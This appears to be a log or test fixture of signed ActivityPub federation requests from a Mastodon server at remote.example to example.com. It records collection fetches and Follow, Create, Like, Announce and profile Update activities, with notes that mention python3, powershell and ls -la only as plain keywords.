{"method": "GET", "target": "/users/admin/collections/tags", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"SrnwSKrTyP5HYgBnfP5BasHWyq+4Gv3eoNz26RB9afPBiEIl3rxa4eY1qffuxI+ixCNB+4BwP29lI5OMPeZ9+kcT3dlhMiaNHrStlgyERErTlQQmFZJ1OmcOdxcAuWcS42QEebJnY5Tq4FEEWB6UlxyOlTLUTlfjJlR9wqwod6Z05MAqw/VGk7vQo1IyJGvzsqZRJjywZoAtcTmY/YYiYZKmlj9O3Uqx8/akk036It4G3K3+nFdlq3Xq8toX2lVuju3+qN3cLGNFXOofl8Mr/xAYGWvJv6Gq6H0E9zL+CF7Ohvqk4reZuZqajW7GZzb3Itna0Z2PKmwlZFqcEmYI/g==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Z66UywgTREmVnaPgrxwtnorjrgLEvqukvNCeZxB14/dSyIrnFEoVKbeYKfx0zqxp0uGMfOOS/kvtQ3+e8wKAxnmnTcqBA+s1ZKwwC3Czr9fDgtalaU8SKiKhIgw7uC7TcMgfW0kbO4dnycGJS+T8HUCH3GjawzReUfyqvavqoq+ELfHkBS1rS6l8z1AaOHgeKmU91CJwHOdQ+Md3QaLW8jJeO1UbS/qPPxK19nu++ebWtrCwyT99R/2mE6l0p95DP54IRtTXv2mkVI1xlT658r+qmYBh4WJz/uzyAblK3neFgrswt1LMjrDSG2fB2KasBPvJT/vex/NCj1a05v3xIQ==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/statuses/117589416124674245/activity", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"ByHj36T4FIS1MRlx2nR9nkBYxpTMlJeX7kEz5lJ1jDc3mH+QVbAbXX/m+KuTKzTmTQqbS+xTaGS5PxqfrLzftYRvPkO5nOTJVhiywGpZTYnFJLc1HJg2Pc1GBwt9QnIBN1a0Bo/lJao8Zs3qyHtIdpkkw7z5OZHd7NexAKYyfPW14qUAXs2bdZZJkrylLALcjOPiN6EnJa9WGO0sCVdoQ2nriLxg8a4+9h7NDNEsk8DJkU/irqZmq4T0spkPuAxWu66M+nxKkgLdaIQjr6t53tFtYsgJPUOaNoduQqkU2Q2LDLudf+j/xCARdlvnmHc1tRTKiCg2KaxwD1cTCo+ntg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/statuses/117589416124674245/replies?only_other_accounts=true&page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"PZq3O+0QkUmtiqATFHubQFnDuzOKSz7UddEerb4iWanAvsbfsTXjgeYe5P2XpITg9Tp4gKTWsKBKG9r/O42M1+f/Rzq+vqVzYEzQY2F/cpfE8MLnEVySeyygb416ZiNl/hms4fqwBh3SPnw8rDvRPxrUhixN+5LeMcOYM0f/PQdCBOIs18tD01ykjaptoo3+N7OhAw1EyGf7V0NRwtmHNLfbO8047OEn/T47E45AhfCJwKfynTBRThDWELnFiUsyc7qTdJppaaWhZH/ZFGUtSfEa9yPH/9IVuFvZp5SuZdP2kClQD5iI7SDTMvyvzNJnZAeGlLPcfCyNBtgY3wVZIw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/bob", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"aM31qv7EmZ8v7w+QZmlxCIQRiGNfRLUHPMZPjMAB/2KBsuppT7X3ZQxjEuh0RCrS7OWIa46Qwl/5rIyWqzLzmvP2fAEt+GVb9vg+EOlqnGLaDmqC31st6uXbF4dEcF5QiRWURZNeYPBGVnn8V+7tweeSFH5OXLPDU5O+VWwErIOgmbjhlsx0ObX0t7tVXTPpPP7MGRK2UxlMwimfXs5nb0ww3sb9MPaNwHXWcYhJqKLyBDuodWnEF6ZpIjEYaOlCyxYOWpGEQjvzA+tw+4oIbF4f1HERJAbARIK0ZXhfrjYwPgt3kODsfqjLQW7BJgnxKdCKbYlcMgWfSN0fgXVRgg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"faNJr4/Ij11scQKvdfquNq3+HJWT68PjUTM/JO7vVdy6IAbwWpARlP/4T45sffC+szDdGELiTtUz+dcFk+CjKn2VFCUGUdtT4C4vlw91dNg3P8EC0cL6gS1mPz1H7iIisw3Q1Y4lDU81mLwzINtXY8X8Vihi2ckvI3GmBTKA8sUHvkSROtnEe/XD2qD6xAaxt2hUt5Ah3tWTMlvFhh+bGPsihMPck9xAanMN21wKrdyagv2VMw2dVzO11DJ7CLnDAVYDlw03MlA5QxOPTIffUJbYKmdaHraC3AFn4YwqjsU7gdjx6ZNmDxdtgUlkJR+hZwCFvYjrxPrwq6PaLOkElw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"YT4xIe4XDFGLMGwEvw2rRNoLLu7F5IuYHQ0ABq8LDe/le/E0WVCFs7XuTNMVXbJj/UdjZXrG41owHmtguk1HIdDKU97Idd0GSyET8kbJPou2hyYVOqibB+OZC6u14OtVHzNVZuBTcaMEH6gLDAszwAUBHFLemRpJDBDYA90/ScybaSh4eqpnTzpdq5t86Z8W8OYy2H95Kz2U/VTMrkJU0RRZtAyjaMYh9Iwb7do/yoWon/tjxBANHXIbRUefPssRwvYP3axREflnSliHl8yBxWNp1mdT+jIm5WBhBuT+dMMX+UteUauOYgjWIr6T3YpgnwTLVSUm0QR0/54nInmnEg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/outbox?page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"MPYJITBQjhGgO/o8vzZtUix99lzWNyGsW7P72VXygmzs0lmyWecerxXnyVg1yYeqFslH2APVqcetSDR0pk7kgXt9hFT1ovw/uflWOeY/U/l+TKsBoTUEpCzKXZIcfbwG36mZsohcvb/9mkRwWIoqr4vfcb4DgxxCOoUo7z8xgKUHSrgsVvtg3ps80aKWbGrCMb6uc1LMjBoqZeYde/N2y2f+dvB9hr0y+TZ2Te4WOYeKCQ4Zbqxk0DH9XgXMaEkCLGOLnbdO064VUxojxGpqh74QfdYHzVautS1wqTAbdoaj4ybKQLTxvTwGubmqIlV3EiPtgKXHrpNGMk2hBuD7+g==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Rzw6tw0U5I94GWg8TVu4Wkx9hgPzTTygZIOZPb/OioOvjVyQFhtSdNS/WthZzOwaqGQjkJtxqy+RHibQ906E5u2yeLJ5envDlGWCcQyBg+o71Fnrx0TEPZCtWt/jgkzW+VHA4GTTPumo0wztUt0S9JXDBPL6QOzBagbUhqDKq8Uegy/OXp5ayI767x43kCyOvBt3JaM+IiCMXgTFIu4KLH6MKKUVCy+jbkiaA1kJwhxuZrM6/JGo7Bi1WGaRkrqbU8YvBLhk39efFWpX/GHhWcpV9mMw90rxdjW01pUqTECViP8Y7d0FtkpJZv5OWKE48MRTDxBCTWyOI6gjyCfRxw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/collections/featured", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"EuSQO+w1pQL02F2PszEwyTo9MuXwyXP1ZvaUaoKR/CBoIEvl11N6cpVczQHCx1UebmouZziouTm4WQsmIUTQ2/H8/Nw1jXd0aRTiqoIHof60D20ruI4ozH8VmUSMFtI0D0s7ktdM4MHmqNzl3qX3XzsfDvDQBPvOM0/dGVj/L2iE2fx1pxPDrIKTj5axCAyQafYxi25wIlYvbHbdzg5DIe5tVRdyFlFQx7RxgpNa8CknZZZ5qMBQXPIfbbqk4gL6EHHwYsZXmwHDZ7+5vjPjfA21JjsIfSEG2joRVgjSmCi9MMgTiBOkEL02yRam9CYpNZbykk/gj1Np90ah6Bz1bg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"RquCG3/BhYWVBEGO+kRCw3AEVI3Elgf1TG6Lc0KvISmuuYCWNUkfEbrNvd0zXRrQVW5I+qKOW47kJXyMDeQqiSDF4+s5OLD5bhxz36Jozmv1exbNIuand/mdiTdQQ8TNADi8ipHeloeu9jQdVyGR9WQ+yRTQEUINg0gcwTm3Ndng5rC7W6dT3ooPWmUXAaz0OsKN+pNJFayB7u20CHgmKol1JPF+haBC8xYGgfDasDjI3BgtPssaNUVbKgx9PWXmjpANetnBdhNXF1rwyUQ6PO5xyHu3oeJGqbeHLzZSCiABSC5tJnqy37F8N6J0rXZ0Klildpg9UgL9GF4TcdGYfQ==\""], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ap/users/117589326485981102/inbox", "headers": ["Content-Length: 235", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=jiJBtB8rH8EldMvZ3w+Kbgk6hy0mzYVJs0zo0PMs7/I=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"OLBZLjqZF2DwLpWVe05XVi6qJ+XdWVpmfLfXkeBxZmQshnhsuARRb9PyZx6njZA4wtpxz0LVWl0fHX9WF4AXtDi1Ni4OlOkzIOf4EKaAWP3pXrt2M6MB7AccovdOCUVoK8U8QcgTTHHJCps2LrD/Jx8pN+nD0Ea6Xs0hFZXafThHqAMPFC69AbeoD6lzEHyYOvxUx+VrmMvGS3XinNXMGdJJCggt0NVXBf8zTdxvUz/sr6/XnXX7V1nsdMuoGNigh9WOt0XjD0iPlb4XIVsZyw5mTIDQDjs/fvt8q1mbN2Cut2AfgZI/m+zPGg8hxqwEVdWfqHKwnzxkgAGPROi40A==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/8688907a953b43a1900142aac9bd6698\",\"type\":\"Follow\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102\"}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2682", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=ZjFyt6rNoRMAIVcrNVxxSHkW3hd/shnh6dqejBq8YwQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"bAgmhxMQouHI6w1OzXpTEjmgqw0OvTMEYyuYpEDvwGlL6MbfBNKIpnlm8FbqtShlUWOBln04pIKxlANluR0p1ikevpmRWb8V3VXXOMvEL8/oQH+fJucOUBg6AiSktXP+ea0JDSj2sINXtVq7+lt9lRAy5V8cHA9QNc13Yzyeptv1p8sFb2/FxZ9Ms2YMuJa+DaEoLnY6UPPDeq7DBkYpyFgbE6Z7+fmbHymNvn5CMlMjneZF6RIrLd4CmtGDVgNEk+iVgo+0WwGVQymRhH91908xO7TW+u63yhxcs3odhmjkQOmdWDN9rTWRt8FtQe3dFWafJE8AEckErxH/VQvGIA==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/200/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T12:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/200\",\"type\":\"Note\",\"summary\":null,\"inReplyTo\":null,\"published\":\"2026-11-09T12:00:00Z\",\"url\":\"https://remote.example/@alice/200\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"sensitive\":false,\"conversation\":\"tag:remote.example,2026-11-09:objectId=200:objectType=Conversation\",\"content\":\"<p><span class=\\\"h-card\\\" translate=\\\"no\\\"><a href=\\\"https://example.com/@admin\\\" class=\\\"u-url mention\\\">@<span>admin</span></a></span> notes on python3, powershell, <code>ls -la</code> and .htaccess <a href=\\\"https://remote.example/tags/python3\\\" class=\\\"mention hashtag\\\" rel=\\\"tag\\\">#<span>python3</span></a></p>\",\"contentMap\":{\"en\":\"<p>notes on python3, powershell, ls -la and .htaccess</p>\"},\"attachment\":[],\"tag\":[{\"type\":\"Mention\",\"href\":\"https://example.com/ap/users/117589326485981102\",\"name\":\"@admin@example.com\"},{\"type\":\"Hashtag\",\"href\":\"https://remote.example/tags/python3\",\"name\":\"#python3\"}],\"replies\":{\"id\":\"https://remote.example/users/alice/statuses/200/replies\",\"type\":\"Collection\",\"first\":{\"type\":\"CollectionPage\",\"next\":\"https://remote.example/users/alice/statuses/200/replies?only_other_accounts=true&page=true\",\"partOf\":\"https://remote.example/users/alice/statuses/200/replies\",\"items\":[]}}}}"}
|
||||||
|
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 2477", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=/q8FAaFiXN1cuGzVnyHrnDkVdldSSU9lJ4orMezigrQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"FjjoCJzOaValkcupFFH5eD2gcwt5A4gGqhHHLLHcDlpKfgSXJDHayo3pMND50yZ9tLwYeqbpo9pU0ikG9tIOuzJYsPnvOIhZyrU7rU/CYGuSJLQIvqWOIVMZGlFj4uNfDqpUYn1pY7zG86zrNu2Ms8dh1Tces3D6BWJbgzkdNS0qzhF7EYuXkYJtkjhooxWSUHnM5on0CN9elFQCfJz8LEeKhSeB6c8QPykJZDXT0R/PAncDb1DFEugEaovQLVv8Ny7LWXpp895rxiqI0WNRjh/X51ac4OhTlFEXKzFbOebacxVyfSS1rad1MlKrRa7UVYIFk75LbaiNWjJeBT/CRg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/201/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://example.com/ap/users/117589326485981102\"],\"cc\":[],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/201\",\"type\":\"Note\",\"summary\":\"powershell spoilers\",\"inReplyTo\":null,\"published\":\"2026-11-09T12:00:00Z\",\"url\":\"https://remote.example/@alice/201\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://example.com/ap/users/117589326485981102\"],\"cc\":[],\"sensitive\":true,\"conversation\":\"tag:remote.example,2026-11-09:objectId=200:objectType=Conversation\",\"content\":\"<p><span class=\\\"h-card\\\" translate=\\\"no\\\"><a href=\\\"https://example.com/@admin\\\" class=\\\"u-url mention\\\">@<span>admin</span></a></span> notes on python3, powershell, <code>ls -la</code> and .htaccess <a href=\\\"https://remote.example/tags/python3\\\" class=\\\"mention hashtag\\\" rel=\\\"tag\\\">#<span>python3</span></a></p>\",\"contentMap\":{\"en\":\"<p>notes on python3, powershell, ls -la and .htaccess</p>\"},\"attachment\":[],\"tag\":[{\"type\":\"Mention\",\"href\":\"https://example.com/ap/users/117589326485981102\",\"name\":\"@admin@example.com\"},{\"type\":\"Hashtag\",\"href\":\"https://remote.example/tags/python3\",\"name\":\"#python3\"}],\"replies\":{\"id\":\"https://remote.example/users/alice/statuses/200/replies\",\"type\":\"Collection\",\"first\":{\"type\":\"CollectionPage\",\"next\":\"https://remote.example/users/alice/statuses/200/replies?only_other_accounts=true&page=true\",\"partOf\":\"https://remote.example/users/alice/statuses/200/replies\",\"items\":[]}}}}"}
|
||||||
|
{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 248", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=mMPSmg5ZMTfAn8dQ5SHTuTWfI5jT8rrcRS9lgqXlWBo=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"FF5EJfOU/KqOBV6kQl0PmFDu7wkXlUULY1/40YWxsqGeagFwdXg9S8JfvwgD6ri7b5hF9z9F8f7Z3SpbSc4C/2cw1h5H7GxQ7DktFpfXlL5e4By/gBmvhinwtDF6/kHncm0nELXnj+nLz4gvUaS+V7nnHxAND7fFak0k8oSY8VcrAUB5beh7Ij+XcPQ1rt8Fe5Se0Y38KRtkudBvVaJ3cUYwCPf6LbhVstU6WbAAQmQ2Eez4CxhWcsasfzMce8k+S1svQWJPGwGvZZ988DJvDq5OzjKHSjcOcSo3yTfyNfm6ITI6KNq30TBpNXM7e8fWPWhcmvH4KbrhcE2USQo/lw==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice#likes/1\",\"type\":\"Like\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 459", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=OnoUo4Qu2UAckLg2DWv5TmHWKSLMPCrLvaX88WquhGs=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"RRKSTtNO+B38hAT4gIyPNFuY09zTXU/DGC49vGscTEEvFE6r5Iaz7F8CKieR16g6PPqkKI1/BZnGndc90tB3DF6WxHrpaE4TUEFtkKhzEmu+ZDbu23SmG6leTo8OOFvxqJt0eoxkud0lzbi6mh1LzE1M6TVSo5VRCQkWEYBCM/SveAvmvtGDgv+suRzuJ2fnB5YwLRKz7w32D2QG7VQ/L1EP2OC4L71vku/LwlUGIVrm8lisXvQxZbuYD67l280dPEGfj6fUQQaEVV4/DNCk6MeHpIknMYO9E+oQCekt94T636k9bkmKuQ2paaQoBPbJoiSwGWI/pgiAxYQDNnvRfg==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice/statuses/202/activity\",\"type\":\"Announce\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T12:05:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://example.com/ap/users/117589326485981102\",\"https://remote.example/users/alice/followers\"],\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2276", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=90gQrD5AqsmlBfwRpUqy68148ZcAp87EM2+PvJ+A5gM=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"Nz9PbH9Uvh8WH49MM0eGkQrdWqjsKtd7P+KoGDG8LarQBHdfXV6WZHIiUuJ5Mrq6oLhaWNqcfE6e+j3C1cpAdIRDqmauecsTQ60lbzNBegh6EUJ0qRdroVygJ4P/nOsbM03CMUza5RIipfME+REwDm+N69MFHi50S3nu6OFuFpvHxpCRm2cN7gWus4zmy1Sn2th76dklf0hf1984dk741K5pj/4CXBsieTx7HAMDYZqzzU8P7+hzommj8ScF52iWCPP3pRsilRE7SxD8XSstCukNeo2PTrp7F3a3cgPjFBjeYuQBe3vi0bcFdk1bSbtXg5Er6i9DnLGC5o8DY6eyJg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice#updates/1\",\"type\":\"Update\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice\",\"type\":\"Person\",\"preferredUsername\":\"alice\",\"name\":\"Alice python3\",\"summary\":\"<p>python3, powershell, ls -la and .htaccess</p>\",\"inbox\":\"https://remote.example/users/alice/inbox\",\"outbox\":\"https://remote.example/users/alice/outbox\",\"followers\":\"https://remote.example/users/alice/followers\",\"following\":\"https://remote.example/users/alice/following\",\"endpoints\":{\"sharedInbox\":\"https://remote.example/inbox\"},\"url\":\"https://remote.example/@alice\",\"publicKey\":{\"id\":\"https://remote.example/users/alice#main-key\",\"owner\":\"https://remote.example/users/alice\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh+7JMlOpvG2A1pJ0awX6\\nHkaPXyLYm8oOQwSGGgEi0e9WjAPXSTh1u3kc51VhRSP4JwYPf3Nr34a/EfygI1/K\\nw9Y79VHdHIe6R9Cjrt/ixm66Glnr7hniJoCyAL3ZcrEJ/Qvxqw5wzOEpNlNA6j76\\nX8rKtoiczVguVN6JhSDvA3kdIgdONCvRC+4Q9/bH/MLESPKJTDS0kno1NngAg9CZ\\nd/X2sIFdkygIdQrUeYoAhE8+m0dS4y6dEV2ue9GGPMG2irdXNDvonndjoNaGJ8zP\\nlo9LRZETB/HkpdB44XKjhXyvORG/qId98r4Is1UTr5kAyip0tNifO2SCyp6j5Dgb\\n7wIDAQAB\\n-----END PUBLIC KEY-----\\n\"}}}"}
|
||||||
|
